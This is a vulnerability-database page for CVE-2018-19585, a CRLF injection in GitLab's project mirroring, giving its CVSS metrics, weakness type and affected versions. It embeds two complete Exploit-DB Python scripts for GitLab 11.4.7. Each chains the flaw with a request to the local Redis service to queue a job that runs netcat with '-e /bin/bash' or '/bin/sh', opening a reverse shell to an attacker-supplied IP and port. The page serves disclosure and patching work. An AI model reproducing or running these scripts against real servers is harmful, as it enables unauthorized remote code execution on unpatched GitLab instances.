CVE-2018-19585 : Detail

CVE-2018-19585

7.5
/
High
A03-Injection
0.24%V3
Network
2019-05-17
13h09 +00:00
2020-12-24
17h06 +00:00
CVE.org
NVD
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CVE Descriptions

GitLab CE/EE versions 8.18 up to 11.x before 11.3.11, 11.4.x before 11.4.8, and 11.5.x before 11.5.1 have CRLF Injection in Project Mirroring when using the Git protocol.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 5 AV:N/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 49334

Publication date : 2020-12-23 23h00 +00:00
Author : Norbert Hofmann
EDB Verified : No

# Exploit Title: GitLab 11.4.7 RCE (POC) # Date: 24th December 2020 # Exploit Author: Norbert Hofmann # Exploit Modifications: Sam Redmond, Tam Lai Yin # Original Author: Mohin Paramasivam # Software Link: https://gitlab.com/ # Environment: GitLab 11.4.7, community edition # CVE: CVE-2018-19571 + CVE-2018-19585 #!/usr/bin/python3 import requests from bs4 import BeautifulSoup import argparse import random parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE') parser.add_argument('-u', help='GitLab Username/Email', required=True) parser.add_argument('-p', help='Gitlab Password', required=True) parser.add_argument('-g', help='Gitlab URL (without port)', required=True) parser.add_argument('-l', help='reverse shell ip', required=True) parser.add_argument('-P', help='reverse shell port', required=True) args = parser.parse_args() username = args.u password = args.p gitlab_url = args.g + ":5080" local_ip = args.l local_port = args.P session = requests.Session() # Get Authentication Token r = session.get(gitlab_url + "/users/sign_in") soup = BeautifulSoup(r.text, features="lxml") token = soup.findAll('meta')[16].get("content") print(f"[+] authenticity_token: {token}") login_form = { "authenticity_token": token, "user[login]": username, "user[password]": password, "user[remember_me]": "0" } r = session.post(f"{gitlab_url}/users/sign_in", data=login_form) if r.status_code != 200: exit(f"Login Failed:{r.text}") # Create project import_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git" project_name = f'project{random.randrange(1, 10000)}' project_url = f'{gitlab_url}/{username}' print(f"[+] Creating project with random name: {project_name}") form = """\nmulti sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1608799993.1234567,\\"enqueued_at\\":1608799993.1234567}" exec exec exec\n""" r = session.get(f"{gitlab_url}/projects/new") soup = BeautifulSoup(r.text, features="lxml") namespace_id = soup.find( 'input', {'name': 'project[namespace_id]'}).get('value') project_token = soup.findAll('meta')[16].get("content") project_token = project_token.replace("==", "%3D%3D") project_token = project_token.replace("+", "%2B") payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={import_url}{form}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0" cookies = { 'sidebar_collapsed': 'false', 'event_filter': 'all', 'hide_auto_devops_implicitly_enabled_banner_1': 'false', '_gitlab_session': session.cookies['_gitlab_session'], } headers = { 'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': f'{gitlab_url}/projects', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '398', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } print("[+] Running Exploit") r = session.post( gitlab_url+'/projects', data=payload, cookies=cookies, headers=headers, verify=False) if "The change you requested was rejected." in r.text: exit('Exploit failed, check input params') print('[+] Exploit completed successfully!')
Exploit Database EDB-ID : 49257

Publication date : 2020-12-13 23h00 +00:00
Author : Fortunato Lodari
EDB Verified : No

# Exploit Title: Gitlab 11.4.7 - Remote Code Execution # Date: 14-12-2020 # Exploit Author: Fortunato Lodari fox [at] thebrain [dot] net, foxlox # Vendor Homepage: https://about.gitlab.com/ # POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ # Tested On: Debian 10 + Apache/2.4.46 (Debian) # Version: 11.4.7 community import sys import requests import time import random import http.cookiejar import os.path from os import path # Sign in GitLab 11.4.7 portal and get (using Burp or something other): # authenticity_token # authenticated cookies # username # specify localport and localip for reverse shell username='aaaaaaaaaaaa' authenticity_token='jpT/n1EoPwwWtiGu/+QKVQomofMNyqAQXY+iD2kVoRQoiQNzcFHPAj2+M4pyblKo/7UkClKW8jvp51Aw2qzs7g==' cookie = '_gitlab_session=c942527505cc0580c026610a1799b811; sidebar_collapsed=false' localport='1234' localip='192.168.0.114' url = "http://192.168.0.130:5080" proxies = { "http": "http://localhost:8080" } def deb(str): print("Debug => "+str) def create_payload(authenticity_token,prgname,namespace_id,localip,localport,username): return {'utf8':'✓','authenticity_token':authenticity_token,'project[ci_cd_only]':'false','project[name]':prgname,'project[namespace_id]':namespace_id,'project[path]':prgname,'project[description]':prgname,'project[visibility_level]':'20','':'project[initialize_with_readme]','project[import_url]':'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/\n multi\n sadd resque:gitlab:queues system_hook_push\n lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\'|nc '+localip+' '+localport+' -e /bin/sh\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"\n exec\n exec\n exec\n/'+username+'/'+prgname+'.git'} import string def random_string(length): return ''.join(random.choice(string.ascii_letters) for m in range(length)) def init(username,cookie,authenticity_token,localport,localip): from bs4 import BeautifulSoup import re import urllib.parse deb("Token: "+authenticity_token) deb("Cookie: "+cookie) session=requests.Session() headers = {'user-agent':'Moana Browser 1.0','Cookie':cookie,'Content-Type':'application/x-www-form-urlencoded','DNT':'1','Upgrade-Insecure-Requests':'1'} r=session.get(url+'/projects/new',headers=headers,allow_redirects=True) soup = BeautifulSoup(r.content,"lxml") nsid = soup.findAll('input', {"id": "project_namespace_id"}) namespace_id=nsid[0]['value']; deb("Namespace ID: "+namespace_id) prgname=random_string(8) newpayload=create_payload(authenticity_token,prgname,namespace_id,localip,localport,username) newpayload=urllib.parse.urlencode(newpayload) deb("Payload encoded: "+newpayload) r=session.post(url+'/projects',newpayload,headers=headers,allow_redirects=False) os.system("nc -nvlp "+localport) init(username,cookie,authenticity_token,localport,localip)

Products Mentioned

Configuraton 0

Gitlab>>Gitlab >> Version From (including) 8.18.0 To (excluding) 11.3.11

Gitlab>>Gitlab >> Version From (including) 8.18.0 To (excluding) 11.3.11

Gitlab>>Gitlab >> Version From (including) 11.4.0 To (excluding) 11.4.8

Gitlab>>Gitlab >> Version From (including) 11.4.0 To (excluding) 11.4.8

Gitlab>>Gitlab >> Version From (including) 11.5.0 To (excluding) 11.5.1

Gitlab>>Gitlab >> Version From (including) 11.5.0 To (excluding) 11.5.1

References